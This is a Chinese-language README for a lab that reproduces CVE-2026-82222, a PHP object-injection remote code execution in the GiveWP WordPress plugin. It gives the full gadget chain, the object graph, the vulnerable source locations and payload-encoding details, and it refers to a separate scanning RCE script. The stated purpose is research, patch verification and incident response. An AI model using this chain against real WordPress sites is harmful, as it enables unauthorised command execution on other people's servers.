用于在隔离的 Docker 实验室中复现和验证 CVE-2026-82222 的安全研究材料。
如需直接 RCE PoC 和 URL 扫描,请使用 CVE-2026-8222-RCE.py
状态:在所提供的实验室中已验证
GiveWP 4.16.5.1 允许最初未经身份验证的攻击者持久化一个 PHP 对象图,通过 GiveWP 会话处理将其复活,并以 WordPress Web 服务器用户身份 执行一个固定的标记命令。
测试阳性结果:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
端到端结果也在未经插桩的原始 GiveWP 4.16.5.1 源码上成功复现。GiveWP 4.16.7.2 在测试配置中阻止了 HTTP 载体,并在直接控制期间独立阻止了终端小工具。
这证明了在 WordPress 容器内实现了命令执行。它并不证明 root 访问、容器逃逸、横向移动或主机沦陷。
仅在你拥有或明确授权测试的系统上使用本仓库。
所提供的 PoC 有意进行了限制:
touch /tmp/CVE-2026-82222-RCE-GETBAG。--allow-authorized-non-loopback 标志,否则拒绝非回环目标。127.0.0.1 上。HTTP 测试会创建一个一次性的捐赠者用户、元数据和 GiveWP 会话行。测试后请使用附带的重置命令。
要求:
curlunzipsha256sum 或 shasumdownloads.wordpress.org 以获取官方插件归档运行完整的易受攻击/已修补矩阵:
./lab verify
该命令:
ProviderForwarder 终端也拒绝字符串可调用。已修补的实验室在结束时保持运行。使用以下命令移除它:
./lab reset
要使用另一个回环端口:
LAB_PORT=8099 ./lab verify
易受攻击的控制必须以具体的终端证据结束:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
已修补的控制必须显示:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
没有标记的 HTTP 500、存储的载荷、异常或检测器命中 不被接受为 RCE 证据。
启动并测试易受攻击的版本:
./lab start vulnerable
./lab test
启动并测试已修补的版本:
./lab start patched
./lab test
检查当前状态:
./lab status
移除容器、卷、测试用户、会话和标记状态:
./lab reset
缓存的插件 ZIP 和提取的资源会被保留以加快重新运行。使用以下命令同时移除这些确切生成的资源:
./lab reset --purge-assets
| 版本 | 评估 |
|---|---|
| GiveWP 4.16.5.1 | 端到端复现 RCE |
| GiveWP 4.16.6–4.16.7.1 | 报告受影响;此处未逐一复现 |
| GiveWP 4.16.7.2 | 已复现已修补的阴性对照 |
| 后续版本 | 未逐一测试;请更新到最新的受支持版本 |
公开公告将 4.16.7.1 及之前的版本列为受影响。本仓库仅直接证明其阳性/阴性测试矩阵中的两个版本。
参考:
该漏洞利用结合了多种行为:
Give\Helpers\Utils::maybeSafeUnserialize() 使用 allowed_classes => false,产生 __PHP_Incomplete_Class,但后续的序列化保留了原始的类名和属性。maybe_unserialize() 复活了随附的类。system()。HTTP 载体中需要四个字面命名空间反斜杠。两次有效的剥离过程将其从 4 -> 2 -> 1 减少。载荷不含 NUL 字节,并且已验证 PHP 8.1.30 能为私有 Session::$attributeName 属性水合纯序列化名称。
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
攻击者控制的对象图:
TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = fixed marker command
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
关键的隐藏转换是 PHP 隐式的 IteratorAggregate 分发。TCPDF::$imagekeys 是无类型的,因此分配一个 Symfony Session 会导致 foreach 调用 Session::getIterator()。
标记命令在 Symfony 强制执行 getAttributeBag(): AttributeBagInterface 返回类型之前执行。由此产生的 TypeError 和 HTTP 500 是后置效应。
被拒绝的候选对象图使用了:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
该对象图无法工作。TCPDF::_destroy() 仅 unset objcopy;PHP 不会将自动析构路由到 __call('__destruct', ...)。
缺失的操作是:
foreach ($this->imagekeys as $file) {
早期的审查跟踪了析构函数和显式方法调用,但没有递归检查 foreach 触发的隐式对象协议。Symfony Session 提供了缺失的桥梁:
foreach 调用 getIterator()。getIterator() 到达 getBag($attributeName)。storage 是一个 DonationFactory。getBag 调用 ProviderForwarder::__call()。loadedProviders['getBag'] = 'system' 选择可调用对象。attributeName 提供命令参数。相关的 GiveWP 4.16.5.1 位置:
| 组件 | 位置 |
|---|---|
| 受保护的初始反序列化 | src/Helpers/Utils.php:203-217,237-241 |
| 捐赠载体 | includes/process-donation.php:157 |
| GiveWP 会话持久化 | includes/class-give-session.php:364-368,489-508 |
| 不受限制的会话复活 | includes/class-give-session.php:347-350 |
| TCPDF 析构函数 | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| 攻击者控制的迭代 | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Symfony 迭代器桥梁 | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Symfony getBag 桥梁 | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| 终端可调用对象 | src/TestData/Framework/ProviderForwarder.php:19-23 |
| GiveWP Composer 自动加载器 | give.php:624-625 |
官方发布哈希值:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
实验室在每次全新启动前都会从已验证的 ZIP 中重新提取每个插件,将其无修改地复制到 WordPress 中,并将部署的完整插件文件树与已验证的源码进行字节比较。三个官方 Docker 基础镜像也固定在其多架构清单摘要上。
GiveWP 4.16.7.2 在注册、序列化输入处理、会话复活、数据迁移和小工具加固方面增加了独立的防御。
终端加固要求解析出的对象实现预期的提供者契约:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
因此,攻击者控制的字符串 system 被拒绝。本仓库中的直接控制绕过 HTTP 载体,并验证仅凭这一终端防御就足以使其标记保持不存在。
单独的阴性 PoC 结果不证明站点已修补。WAF、不同的路由、禁用的注册、缺失的旧版表单、会话配置或禁用的 PHP 命令函数都可能在一个仍然易受攻击的代码库上阻止标记。
推荐的验证流程:
版本检查:
wp plugin get give --fields=name,status,version
将 GiveWP 更新到最新的受支持版本。更新后:
TCPDF、Symfony Session 或 loadedProviders 对象图。如果暴露于互联网的易受攻击安装包含对象注入痕迹,请将其视为潜在沦陷,而不仅仅是更新插件。
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
未提交的内容:
official plugin ZIPs
extracted GiveWP source
instrumented target source
cookies or session data
runtime evidence/logs
internal target addresses or reusable credentials
obsolete objcopy payloads
historical validation output
| 声明 | 状态 |
|---|---|
| 持久化 PHP 对象注入载体 | 已验证 |
| 随附类的复活 | 已验证 |
| 完整的库存 POP 链 | 已验证 |
| 以 Web 用户身份执行的固定标记 | 已验证 |
| 针对原始 4.16.5.1 的复现 | 已验证 |
| 针对原始 4.16.7.2 的阴性对照 | 已验证 |
| 每个中间受影响版本均已测试 | 未测试 |
| Root 权限 | 未声明 |
| 容器逃逸 | 未测试 |
| 主机沦陷 | 未测试 |
证据标准刻意严格:只有通过未修改的库存链产生的可观察命令标记才被标记为 RCE。HTTP 接受、序列化、异常和检测器命中均为中间证据。